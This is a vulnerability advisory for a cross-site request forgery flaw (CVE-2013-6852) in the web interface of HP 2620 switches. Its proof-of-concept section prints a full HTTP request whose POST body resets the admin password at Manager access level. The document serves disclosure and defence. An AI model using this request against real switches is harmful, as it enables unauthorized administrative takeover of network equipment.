HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability

BID:63690

Info

HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability

Bugtraq ID: 63690
Class: Input Validation Error
CVE: CVE-2013-6852
Remote: Yes
Local: No
Published: Sep 26 2013 12:00AM
Updated: Nov 25 2013 12:54AM
Credit: Hubert Gradek
Vulnerable:
Not Vulnerable:

Discussion

HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability

HP 2620 switch series are prone to a cross-site request-forgery vulnerability because it fails to properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain unauthorized administrative actions. Other attacks are also possible.

HP 2620 switch series are vulnerable.

Exploit / POC

HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability

To exploit this issue an attacker must entice a user into visiting a malicious site.

The following example data is available:

http://www.example.com/html/json.html

Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.example.com/html/nhome.html
Cookie: sessionId=ANYTHING
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

POST Content:

method:setPassword&name=admin&password=newpassword&ext-comp-1171=newpassword&access=Manager

Solution / Fix

HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability

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